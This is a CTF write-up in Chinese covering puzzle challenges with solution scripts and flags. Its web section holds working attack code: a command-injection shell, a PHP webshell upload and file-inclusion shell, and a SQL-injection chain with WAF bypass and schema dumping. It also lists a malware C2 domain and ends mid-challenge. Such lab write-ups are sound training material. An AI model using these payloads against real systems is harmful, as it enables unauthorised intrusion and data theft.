1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 01001000000000000000000000000000000000000000 01002000000000000000000000000000000000000000 01004000000000000000000000000000000000000000 01008000000000000000000000000000000000000000 01000001000000000000000000000000000000000000 01000002000000000000000000000000000000000000 01000004000000000000000000000000000000000000 01000008000000000000000000000000000000000000 01000010000000000000000000000000000000000000 01000020000000000000000000000000000000000000 01000040000000000000000000000000000000000000 01000080000000000000000000000000000000000000 01000000010000000000000000000000000000000000 01000000020000000000000000000000000000000000 01000000040000000000000000000000000000000000 01000000080000000000000000000000000000000000 01000000100000000000000000000000000000000000 01000000200000000000000000000000000000000000 01000000400000000000000000000000000000000000 01000000800000000000000000000000000000000000 01000000000100000000000000000000000000000000 01000000000200000000000000000000000000000000 01000000000400000000000000000000000000000000 01000000000800000000000000000000000000000000 01000000001000000000000000000000000000000000 01000000002000000000000000000000000000000000 01000000004000000000000000000000000000000000 01000000008000000000000000000000000000000000 01000000000001000000000000000000000000000000 01000000000002000000000000000000000000000000 01000000000004000000000000000000000000000000 01000000000008000000000000000000000000000000 01000000000010000000000000000000000000000000 01000000000020000000000000000000000000000000 01000000000040000000000000000000000000000000 01000000000080000000000000000000000000000000 01000000000000200000000000000000000000000000 01020000000000200000000000000000000000000000 01020000004000000000000000000000000000000000 01020000000000800000000000000000000000000000 01020000000000000100000000000000000000000000
再用脚本映射数据即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 known_chars = "abcdefghijklmnopqrstuvwxyz1234567890-_!{}" keymap_file = "raw_keymap_data.txt" target_file = "raw_target_data.txt" data_to_char_map = {} with open (keymap_file, 'r' , encoding='utf-8' ) as f: keymap_lines = [line.strip() for line in f if line.strip()] data_to_char_map = dict (zip (keymap_lines, known_chars)) flag = "" with open (target_file, 'r' , encoding='utf-8' ) as f: target_lines = [line.strip() for line in f if line.strip()] for line in target_lines: char = data_to_char_map.get(line) if char: flag += char print (flag)
FLAG 1 flag{th1s_is_newkeyboard_y0u_get_it!}
美妙的音乐 Challenge
小明最近发现了一首好听的曲子,他把曲子发给你并邀请你一起欣赏,可是这个曲子似乎有什么不对劲的地方?
【难度:简单】
Solution 找个在线网站打开这个 midi 文件即可 https://signalmidi.app/
好听~
FLAG 1 flag{thi5_1S_m1Di_5tEG0}
OSINT-威胁情报 Challenge
城邦受到了未知APT组织的攻击,目前已解除威胁,但留下了恶意文件的hash值。为了以后的安全,请Newstar们进行调查,帮助城邦们完善威胁情报吧!flag格式:flag{apt组织名称_通信C2服务器域名_恶意文件编译时间(年-月-日)};所有字母全部小写
【难度:简单】
1 hash:2c796053053a571e9f913fd5bae3bb45e27a9f510eace944af4b331e802a4ba0
Solution 在 微步在线云沙箱 可以找到所有答案(在 ANY.RUN - Malware Sandbox Online 也是)
FLAG 1 flag{kimsuky_alps.travelmountain.ml_2021-03-31}
日志分析-不敬者的闯入 Challenge
在抗日战争暨世界反法西斯战争胜利80周年
前夕,城邦的临时工搭建了一个纪念网站,帮助人们恢复记忆。一些不法分子妄图破坏新世界的记忆,企图摧毁网站,幸好临时工及时止损关闭了该网站的服务,才保住了历史的记忆。请挑战者们通过保留的网站日志,帮助临时工找到不敬者的木马威胁,让临时工能保住这份来之不易的工作吧!
【难度:简单】
Solution 搜索 shell
找到好几条类似这样的数据
1 171.16.20.55 - - [30/Aug/2025:18:28:22 +0800] "GET /admin/Webshell HTTP/1.1" 200 63
(已经把 webshell 写脸上了
访问 /admin/Webshell
就能拿到 flag
1 <?php eavl($_POST['flag{e4f8406a-0cd4-4483-b288-221b5941ad65}'])?>
FLAG 1 flag{e4f8406a-0cd4-4483-b288-221b5941ad65}
Web DD加速器 Challenge
D师傅在服务器上部署了一个加速器,并且提供一个页面来ping游戏服务器…
【难度:简单】
Solution 有命令注入漏洞,例如输入 ;id
就会返回 uid=33(www-data) gid=33(www-data) groups=33(www-data)
读取根目录的 flag
文件发现是 fake flag,然后注意到根目录下面有一个隐藏文件夹(名字是随机生成的),它的名字还很长
这说明后端对 target 参数的长度做了限制,因此将一个长命令分拆成多个短命令,在 /tmp
逐步构建一个脚本文件,最后再执行这个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import requestsfrom bs4 import BeautifulSoupURL = ... session = requests.Session() def execute_command (command ): """ 发送带有注入命令的POST请求,并返回执行结果。 """ payload = { 'region' : 'cn' , 'target' : f'; {command} ' } try : response = session.post(URL, data=payload) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser' ) result_tag = soup.find('pre' ) if result_tag: return result_tag.get_text().strip() else : return "[-] Error: Could not find the result tag in the response." except requests.exceptions.RequestException as e: return f"[-] An error occurred: {e} " def main (): print ("Target:" , URL) print ("Type 'exit' or 'quit' to close the shell." ) print ("-" * 45 ) while True : try : cmd = input ("shell> " ) if cmd.lower() in ["exit" , "quit" ]: print ("Exiting." ) break if not cmd: continue result = execute_command(cmd) print (result) except KeyboardInterrupt: print ("\nExiting." ) break except Exception as e: print (f"An unexpected error occurred: {e} " ) break if __name__ == "__main__" : main() """ echo -n 'find /' >/tmp/q echo -n ' -name ' >>/tmp/q echo -n '"*fl' >>/tmp/q echo -n 'ag*"' >>/tmp/q echo -n ' 2>/dev' >>/tmp/q echo -n '/null' >>/tmp/q cat /tmp/q sh /tmp/q echo -n 'cat /.' >/tmp/w echo -n '7si30mx' >>/tmp/w echo -n '0bii6bl' >>/tmp/w echo -n 'qz3d9oi' >>/tmp/w echo -n '1vrvfz4' >>/tmp/w echo -n '5g3d' >>/tmp/w echo -n '/flag' >>/tmp/w cat /tmp/w sh /tmp/w """
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 shell> echo -n 'find /' >/tmp/q 执行失败 shell> echo -n ' -name ' >>/tmp/q 执行失败 shell> echo -n '"*fl' >>/tmp/q 执行失败 shell> echo -n 'ag*"' >>/tmp/q 执行失败 shell> echo -n ' 2 >/dev' >>/tmp/q 执行失败 shell> echo -n '/null' >>/tmp/q 执行失败 shell> cat /tmp/q find / -name "*flag*" 2 >/dev/nullshell> sh /tmp/q /usr/include/x86_64-linux-gnu/bits/waitflags.h /usr/include/x86_64-linux-gnu/bits/ss_flags.h /usr/include/x86_64-linux-gnu/asm/processor-flags.h /usr/include/linux/kernel-page-flags.h /usr/include/linux/tty_flags.h /usr/lib/x86_64-linux-gnu/perl/5 .28 .1 /bits/ss_flags.ph /usr/lib/x86_64-linux-gnu/perl/5 .28 .1 /bits/waitflags.ph /usr/local/lib/php/build/ax_check_compile_flag.m4 /usr/share/dpkg/buildflags.mk /usr/bin/dpkg-buildflags /sys/kernel/mm/prezero/page_clear_engine/hw_flag_cc /sys/devices/pnp0/00 :04 /tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/pci0000:00 /0000 :00 :06 .0 /virtio3/net /eth0/flags /sys/devices/virtual/net /lo/flags /sys/devices/virtual/net /dummy0/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/sys/kernel/acpi_video_flags /proc/kpageflags /.7 si30mx0bii6blqz3d9oi1vrvfz45g3d/flag /flag shell> echo -n 'cat /.' >/tmp/w 执行失败 shell> echo -n '7 si30mx' >>/tmp/w 执行失败 shell> echo -n '0 bii6bl' >>/tmp/w 执行失败 shell> echo -n 'qz3d9oi' >>/tmp/w 执行失败 shell> echo -n '1 vrvfz4' >>/tmp/w 执行失败 shell> echo -n '5 g3d' >>/tmp/w 执行失败 shell> echo -n '/flag' >>/tmp/w 执行失败 shell> cat /tmp/w cat /.7 si30mx0bii6blqz3d9oi1vrvfz45g3d/flag shell> sh /tmp/w flag{1 a737c7c-1146 -4 fd4-a6d9-0 bb447802cb0}
FLAG 1 flag{1a737c7c-1146-4fd4-a6d9-0bb447802cb0}
搞点哦润吉吃吃橘 Challenge
Doro把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题……
【难度:简单】
Solution 首先在页面原代码找到泄露的账密 Doro/Doro_nJlPVs_@123
登进去之后有一个小挑战,手动完成很容易超时,直接在控制台发包解题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 async function solveChallengeInConsole ( ) { try { const startResponse = await fetch ('/start_challenge' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' } }); const challengeData = await startResponse.json (); const timestampMatch = challengeData.expression .match (/\((\d+)/ ); if (!timestampMatch) { console .error ("无法解析时间戳" ); return ; } const timestamp = BigInt (timestampMatch[1 ]); const multiplier = BigInt (challengeData.multiplier ); const xor_value = BigInt (challengeData.xor_value ); const token = (timestamp * multiplier) ^ xor_value; const verifyResponse = await fetch ('/verify_token' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : JSON .stringify ({ token : Number (token) }) }); const result = await verifyResponse.json (); if (result.success && result.flag ) { console .log (`%c${result.flag} ` , "color: red; font-size: 16px; font-weight: bold;" ); } } catch (error) { console .error (error); } } solveChallengeInConsole ();
FLAG 1 flag{5dc03b48-d56b-4225-920b-43fb837b6b39}
真的是签到诶 Challenge
到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?
【难度:签到】
Solution 给 AI 写了一个交互式的 shell,然后读取根目录的 flag
文件就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import requestsimport base64import codecsurl = "https://eci-2ze3zu83b4b1t4z1khnk.cloudeci1.ichunqiu.com:80/" def atbash (text ): """Python implementation of the Atbash cipher.""" result = '' for char in text: if 'a' <= char.lower() <= 'z' : is_upper = char.isupper() base = ord ('A' ) if is_upper else ord ('a' ) offset = ord (char.lower()) - ord ('a' ) new_char_code = base + (25 - offset) result += chr (new_char_code) else : result += char return result def create_payload (command ): """Encodes a shell command into the final Base64 payload.""" command_no_spaces = command.replace(' ' , '${IFS}' ) php_command = f"system('{command_no_spaces} ');" payload_after_rot13 = codecs.encode(php_command, 'rot_13' ) payload_after_atbash = atbash(payload_after_rot13) final_payload = base64.b64encode(payload_after_atbash.encode('utf-8' )).decode('utf-8' ) return final_payload print (f"[*] Target URL: {url} " )print ("Type 'exit' or 'quit' to close." )while True : try : user_command = input ("shell > " ) if user_command.lower() in ['exit' , 'quit' ]: print ("Exiting." ) break if not user_command: continue encoded_payload = create_payload(user_command) data = {'cipher' : encoded_payload} response = requests.post(url, data=data, timeout=10 ) response_text = response.text start_marker = "</span>\n</code>" end_marker = "真的是签到吗?" if start_marker in response_text and end_marker in response_text: temp_output = response_text.split(start_marker, 1 )[1 ] command_output = temp_output.split(end_marker, 1 )[0 ].strip() if command_output: print (command_output) else : print ("(Command executed with no output)" ) else : print ("\n[!] Error: Could not find the expected page structure." ) print (f" - HTTP Status Code: {response.status_code} " ) print ("\n --- Raw Server Response ---" ) print (response.text) print (" ---------------------------\n" ) except KeyboardInterrupt: print ("\nExiting." ) break
FLAG 1 flag{da78849d-533f-462f-a159-774aeb27df56}
白帽小K的故事(1) Challenge
小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!
【难度:困难】
Solution 可以上传文件,猜测是有文件上传漏洞
猜测后端没校验文件类型,直接写一个 Python 脚本发包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url = "https://.../v1/upload" files = { 'file' : ( "shell.php" , "<?php @eval($_POST['cmd']);?>" , 'audio/mpeg' ) } response = requests.post(url, files=files, verify=False , timeout=10 ) print (response.text)
然后直接连接 https://.../v1/music?file=shell.php
发现连不上,回来看提示说要看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // TODO: // 小岸同学到时候记得把这个函数删掉 async function fetchload(file) { try { const res = await fetch('/v1/onload', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `file=${encodeURIComponent(file)}` }); const data = await res.json(); if (data.success) { console.log('File content:', data.success); } else { console.error('Error loading file:', data.error); } } catch (e) { console.error('Request failed', e); } }
用脚本连上去看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import requestsimport sysimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url = "https://.../v1/onload" webshell_filename = "shell.php" POST_PARAMETER_CMD = "cmd" def run_command (command ): """ 通过 /v1/onload 接口包含并执行webshell里的命令 """ escaped_command = command.replace("'" , "'\\''" ) php_payload = f"system('{escaped_command} ');" data = { 'file' : webshell_filename, POST_PARAMETER_CMD: php_payload } try : response = requests.post(url, data=data, verify=False , timeout=15 ) if response.status_code == 200 : try : json_response = response.json() if 'success' in json_response: return json_response['success' ] elif 'error' in json_response: return f"Server Error: {json_response['error' ]} " else : return response.text except requests.exceptions.JSONDecodeError: return response.text else : return f"Error: Server returned status code {response.status_code} \nResponse: {response.text} " except requests.exceptions.RequestException as e: return f"Request failed: {e} " def interactive_shell (): """交互式shell""" print (f"[*] Target endpoint: {url} " ) print ("[*] Type 'exit' or 'quit' to close the shell." ) while True : try : command_to_run = input ("shell > " ) if command_to_run.lower() in ["exit" , "quit" ]: break if not command_to_run: continue result = run_command(command_to_run) print (result) except KeyboardInterrupt: print ("\n[*] Shell closed by user." ) break except Exception as e: print (f"An error occurred: {e} " ) break print ("[*] Exiting webshell." ) if __name__ == "__main__" : interactive_shell()
在根目录发现 flag
FLAG 1 flag{717ef2a9-fbcf-42ab-bd1b-3d246c355992}
小E的管理系统 Challenge
小E开发了一个服务器管理系统,能实时监测服务器状态并显示出来。为了防止系统被入侵,小E特地给其中的查询功能上了防火墙,但是即便如此,这个系统依然脆弱不堪,只因为使用了原始的SQL拼接——你能绕过小E的防火墙,拿到数据库里的秘密吗?
【难度:困难】
Solution Step 1: 确认注入点
最初的探测表明,id
参数存在可执行运算的特征,这是数字型注入的典型标志。
证据:
结论: id
参数被直接拼接到 SQL 查询中,存在整数型注入漏洞。
Step 2: WAF 规则探测
探测哪些字符和语法被禁止
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 import requestsimport urllib.parseimport timefrom colorama import init, Fore, Styleinit(autoreset=True ) TARGET_URL_TEMPLATE = "https://.../query.php?id={payload}" BLOCKED_STATUS_CODES = {403 , 406 } BLOCKED_KEYWORDS = ["firewall blocked" , "forbidden" , "waf" , "access denied" ] payloads_to_discover = { "operators" : [ "|" , "&" , "^" , "~" , "+" , "-" , "*" , "/" , "%" , "<<" , ">>" ], "logic_comparisons" : [ "=" , ">" , "<" , "<>" , "!=" , "like" , "regexp" , "is" ], "parentheses" : [ "(" , ")" , "()" ], "comments_and_whitespace" : [ "/**/" , "/*comment*/" , "%0a" , "%0d" , "%09" , " " , "#comment" , "-- comment" , ], "keyword_bypass_wrappers" : [ "/*!{word}*/" , "/*!50000{word}*/" , ] } def get_response (payload ): """封装请求逻辑""" try : encoded_payload = urllib.parse.quote(payload, safe='' ) url = TARGET_URL_TEMPLATE.format (payload=encoded_payload) response = requests.get(url, timeout=5 ) return response except requests.exceptions.RequestException as e: print (f"{Fore.MAGENTA} [!] 网络错误 for payload '{payload} ': {e} " ) return None def is_blocked (response ): """判断是否被WAF拦截""" if not response: return True if response.status_code in BLOCKED_STATUS_CODES: return True content = response.text.lower() for keyword in BLOCKED_KEYWORDS: if keyword in content: return True return False def run_discovery (): """主探测函数""" print (f"{Fore.CYAN} [*] 正在建立响应基线..." ) baseline_success = get_response("3" ) if is_blocked(baseline_success): print (f"{Fore.RED} [!] 请检查URL和网络" ) return print (f"{Fore.GREEN} [+] 成功基线 (id=3): Status={baseline_success.status_code} , Length={len (baseline_success.text)} " ) baseline_notfound = get_response("999999" ) print (f"{Fore.GREEN} [+] 未找到基线 (id=999999): Status={baseline_notfound.status_code} , Length={len (baseline_notfound.text)} " ) print (f"\n{Fore.CYAN} [*] 开始进行基础功能探测..." ) for category, items in payloads_to_discover.items(): print (f"\n{Fore.YELLOW} --- 正在探测类别: {category} ---" ) for item in items: if category == "operators" : test_payload = f"3{item} 4" elif category == "keyword_bypass_wrappers" : test_payload = item.format (word="union" ) else : test_payload = f"3{item} " resp = get_response(test_payload) if is_blocked(resp): print (f"{Fore.RED} [-] BLOCKED : {test_payload} " ) continue if resp.text == baseline_success.text: print (f"{Fore.GREEN} [+] ALLOWED (Ignored/Equivalent): {test_payload} " ) elif resp.text == baseline_notfound.text: print (f"{Fore.CYAN} [+] ALLOWED (Resulted in False): {test_payload} " ) else : print (f"{Fore.MAGENTA} {Style.BRIGHT} [*] POTENTIAL FIND! (Result Changed): {test_payload} -> Len={len (resp.text)} " ) time.sleep(0.5 ) if __name__ == "__main__" : run_discovery()
结论: 几乎所有常见的空白符、注释符、逗号和括号都被 WAF 拦截,唯一的例外是 Tab 字符 (%09
) ,所有后续的 payload 都将使用 %09
代替空格
Step 3: 信息收集
确定真实列数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import requestsfrom colorama import init, Fore, Styleimport sysinit(autoreset=True ) BASE_URL = "https://.../query.php" MAX_COLUMNS_TO_TEST = 25 def find_true_column_count (): """ 通过系统性地测试 ORDER BY 子句,来精确地确定 SQL 查询返回的真实列数 """ print (f"{Fore.CYAN} [*] 目标 URL: {BASE_URL} " ) print ("-" * 50 ) last_successful_count = 0 for i in range (1 , MAX_COLUMNS_TO_TEST + 1 ): payload = f"1\torder\tby\t{i} " params = {'id' : payload} try : print (f"{Style.DIM} -> 正在测试 ORDER BY {i} ..." , end="" ) resp = requests.get(BASE_URL, params=params, timeout=10 ) if resp.status_code == 200 and "error" not in resp.text.lower() and "out of range" not in resp.text.lower(): print (f" -> {Fore.GREEN} 成功" ) last_successful_count = i else : print (f" -> {Fore.RED} 失败!" ) print (f" (状态码: {resp.status_code} , 响应片段: '{resp.text[:50 ].strip()} ...')" ) if last_successful_count > 0 : print ("-" * 50 ) print (f"{Fore.GREEN} {Style.BRIGHT} [+] 探测完成!" ) print (f"{Fore.YELLOW} 查询在尝试第 {i} 列时失败。" ) print (f"{Fore.YELLOW} 因此,原始查询的真实列数是: {last_successful_count} " ) print ("-" * 50 ) return last_successful_count else : print (f"{Fore.RED} [!] 错误: 'ORDER BY 1' 失败。请检查 URL、网络或 WAF 规则。" ) return 0 except requests.exceptions.RequestException as e: print (f" -> {Fore.RED} 发生网络错误: {e} " ) print (f"{Fore.RED} [!] 因网络问题导致测试中断。" ) return 0 print (f"\n{Fore.YELLOW} [!] 警告: 测试已达到上限 ({MAX_COLUMNS_TO_TEST} 列) 仍未失败。" ) print (f" 查询可能支持超过 {last_successful_count} 列,或者判断逻辑需要调整。" ) return last_successful_count if __name__ == "__main__" : true_count = find_true_column_count() if true_count > 0 : print (f"\n脚本执行完毕。最终确定的列数为 {true_count} 。" ) else : print ("\n脚本执行完毕,但未能确定列数。" )
测试结果: 脚本在 ORDER BY 6
时失败,证明了原始查询的真实列数是 5
数据库指纹识别与结构探测:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 import requestsimport jsonfrom colorama import init, Fore, Styleimport sysinit(autoreset=True ) BASE_URL = "https://.../query.php" KNOWN_COLUMN_COUNT = 5 def reconnaissance_scout (): """ 一个用于数据库指纹识别和结构探测的完整脚本 """ print (f"{Fore.CYAN} [*] 目标 URL: {BASE_URL} " ) print (f"{Fore.CYAN} [*] 已知列数: {KNOWN_COLUMN_COUNT} " ) print ("-" * 60 ) print (f"{Fore.YELLOW} [Step 1] 正在进行数据库指纹识别..." ) payload_error = "0\tunion\tselect\t" + "\t," .join(["1" ] * KNOWN_COLUMN_COUNT) + "\tfrom\ta_very_non_existent_table_123" payload_error_no_comma = "0\tunion\tselect\t*\tfrom\ta_very_non_existent_table_123" params_error = {'id' : payload_error_no_comma} db_type = "Unknown" try : print (f"{Style.DIM} -> 发送探测请求以触发错误..." ) resp_error = requests.get(BASE_URL, params=params_error, timeout=10 ) error_text = resp_error.text.lower() if "unable to prepare statement" in error_text: db_type = "SQLite" print (f"{Fore.GREEN} [+] 指纹识别成功: {Style.BRIGHT} SQLite" ) elif "you have an error in your sql syntax" in error_text: db_type = "MySQL" print (f"{Fore.GREEN} [+] 指纹识别成功: {Style.BRIGHT} MySQL" ) elif "syntax error at or near" in error_text: db_type = "PostgreSQL" print (f"{Fore.GREEN} [+] 指纹识别成功: {Style.BRIGHT} PostgreSQL" ) else : print (f"{Fore.YELLOW} [-] 指纹识别失败: 未能从错误信息中识别出数据库类型。" ) print (f" 原始错误响应: {resp_error.text[:100 ]} " ) except requests.exceptions.RequestException as e: print (f"{Fore.RED} [!] 指纹识别失败: 发生网络错误 {e} " ) return print ("-" * 60 ) if db_type == "Unknown" : print (f"{Fore.RED} [!] 由于未能识别数据库类型,无法进行结构探测" ) return print (f"{Fore.YELLOW} [Step 2] 正在探测 {db_type} 数据库的结构..." ) if db_type == "SQLite" : payload_schema = "0\tunion\tselect\t*\tfrom\tsqlite_master" elif db_type == "MySQL" : payload_schema = "0\tunion\tselect\ttable_catalog,table_schema,table_name,table_type,null\tfrom\tinformation_schema.tables" print (f"{Fore.YELLOW} [!] MySQL 的 payload 包含逗号,在本次特定挑战中可能无法使用" ) else : print (f"{Fore.RED} [!] 尚未为 {db_type} 实现结构探测逻辑。" ) return params_schema = {'id' : payload_schema} try : print (f"{Style.DIM} -> 正在查询系统表以获取所有表信息..." ) resp_schema = requests.get(BASE_URL, params=params_schema, timeout=10 ) if resp_schema.status_code == 200 and "error" not in resp_schema.text.lower(): print (f"{Fore.GREEN} [+] 成功获取数据库结构" ) try : schema_data = json.loads(resp_schema.text) print (f"{Fore.CYAN} --- 数据库结构详情 ---" ) for item in schema_data: if db_type == "SQLite" : obj_type = item.get('id' , 'N/A' ) obj_name = item.get('cpu' , 'N/A' ) table_name = item.get('ram' , 'N/A' ) sql_statement = item.get('lastChecked' , 'N/A' ) if obj_type == "table" : print (f" - 表名: {Fore.WHITE} {Style.BRIGHT} {obj_name} {Style.RESET_ALL} " ) print (f" - 所属表: {table_name} " ) print (f" - 创建语句: {sql_statement} " ) print (f"{Fore.CYAN} ------------------------" ) except json.JSONDecodeError: print (f"{Fore.RED} [!] 获取结构成功,但响应不是有效的 JSON 格式" ) print (f" 原始响应:\n{resp_schema.text} " ) else : print (f"{Fore.RED} [!] 结构探测失败" ) print (f" 状态码: {resp_schema.status_code} , 响应: {resp_schema.text[:100 ]} " ) except requests.exceptions.RequestException as e: print (f"{Fore.RED} [!] 结构探测失败: 发生网络错误 {e} " ) if __name__ == "__main__" : reconnaissance_scout()
测试结果:
查询不存在的表时,返回了包含 Unable to prepare statement
的错误,这是 SQLite 的典型特征。
查询 sqlite_master
成功,返回了数据库的完整结构:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 - 表名: node_status - 所属表: node_status - 创建语句: CREATE TABLE node_status ( node_id INTEGER PRIMARY KEY, cpu_usage VARCHAR(10), ram_usage VARCHAR(10), status VARCHAR(15) CHECK(status IN ('Online','Offline','Maintenance')), last_checked DATETIME DEFAULT CURRENT_TIMESTAMP ) - 表名: sqlite_sequence - 所属表: sqlite_sequence - 创建语句: CREATE TABLE sqlite_sequence(name,seq) - 表名: sys_config - 所属表: sys_config - 创建语句: CREATE TABLE sys_config ( id INTEGER PRIMARY KEY AUTOINCREMENT, config_key VARCHAR(50) UNIQUE, config_value TEXT )
结论: 数据库为 SQLite,存在 node_status
(5列), sqlite_sequence
(2列), 和 sys_config
(3列) 三个表,flag 很有可能在 sys_config
中
Step 5: 跨表拼接
目标 sys_config
是 3 列,而 UNION
需要 5 列,且我们无法用逗号添加 NULL
来补齐,sys_config
表无法通过常规的 UNION SELECT *
读取。既然无法直接读取,我们就必须创造一个列数为 5 的数据源。我们有 sys_config
(3列) 和 sqlite_sequence
(2列),在 SQL 中可以用 JOIN
将两个表横向连接,列数正好是 5。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsimport jsonBASE_URL = "https://.../query.php" def main (): """ 通过 JOIN 两个列数不足的表来构造一个5列表,从而读取 sys_config 和 sqlite_sequence 的内容 """ payload = "0\tunion\tselect\t*\tfrom\tsys_config\tjoin\tsqlite_sequence" params = {'id' : payload} try : resp = requests.get(BASE_URL, params=params, timeout=10 ) print (f"\n-------------------- 最终查询结果 --------------------" ) try : parsed_json = json.loads(resp.text) pretty_json = json.dumps(parsed_json, indent=4 ) print (pretty_json) except json.JSONDecodeError: print (resp.text) print (f"\n[!] 攻击失败。服务器返回了非预期的格式。" ) except requests.exceptions.RequestException as e: print (f"[!]: 发生网络错误: {e} " ) print (f"------------------------------------------------------" ) if __name__ == "__main__" : main()
服务器返回以下数据:
1 2 3 4 5 6 7 8 9 [ { "id" : 2 , "cpu" : "flag" , "ram" : "flag{4509550e-6eeb-4822-8b32-6c5015a1fc49}" , "status" : "sys_config" , "lastChecked" : 2 } ]
FLAG 1 flag{4509550e-6eeb-4822-8b32-6c5015a1fc49}
Reverse 尤皮·埃克斯历险记(1) Challenge
你是一个生活在希尔大陆的小有名气的骑士,有一天,一个自称代号「尤皮·埃克斯」(UP·X)的骑士找到你,“来和我切磋吧!”他朝你嚷道。“
你有什么特殊本领或者特长吗?”
“我的‘尤皮·埃克斯’盔甲非常精良,能保护我不被刀剑所伤,还会自动阻止试图解析我的盔甲的特殊能力的人!如果你不信,就来试试挑战我吧!”
【难度:简单】
Solution upx 脱壳之后丢给 mcp 分析:
我们已拿到主逻辑与加密函数。判定条件为:
先对输入做 encrypt,得到 out。
再逐字节 out[i] XOR K 与目标字节比较,K=0x3C(无调试器)或 K=0xC3(被调试)。
长度必须为 34。
目标字节序列来源:24 字节字面量 isfhGJ\tt~~cU\ny\nuTjcj\tT~~cj
+ 8 字节 QWORD 0x5047B777E756451 + 2 字节 16753(LE 为 0x71,0x41)。
为直接复原 flag,我将用系统 Python 计算:先构造目标 34 字节,XOR 0x3C 得到期望的加密输出,再按 encrypt 规则反推原始输入:
若 out 为 ‘0’..’9’,原字符为 chr(105 - out)
否则试图解 letter:c = (-69 - out) mod 256,若为字母则取该字母
否则原字符 = out(非字母数字保持不变)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import structdef build_target_bytes (): literal = b"isfhGJ\tt~cU\ny\nuTjcj\tT~cj" qword = struct.pack("<Q" , 0x5047B777E756451 ) hword = struct.pack("<H" , 16753 ) return literal + qword + hword def invert_encrypt_byte (o ): if 48 <= o <= 57 : return 105 - o c = (-69 - o) & 0xFF if (65 <= c <= 90 ) or (97 <= c <= 122 ): return c return o def recover_flag (K ): target = build_target_bytes() out_enc = bytes (b ^ K for b in target) orig = bytes (invert_encrypt_byte(o) for o in out_enc) try : return orig.decode("ascii" ) except UnicodeDecodeError: return orig.decode("latin1" ) def main (): print ("K=0x3C (no debugger):" , recover_flag(0x3C )) print ("K=0xC3 (debugger present):" , recover_flag(0xC3 )) if __name__ == "__main__" : print ("Length check (should be 34):" , len (build_target_bytes())) main()
FLAG 1 flag{E4sy_R3v3rSe_e4Sy_eNcrypt10n}
OhNativeEnc Challenge
安卓的native代码在哪呢
【难度:简单】
Solution 先查看主函数 MainActivity
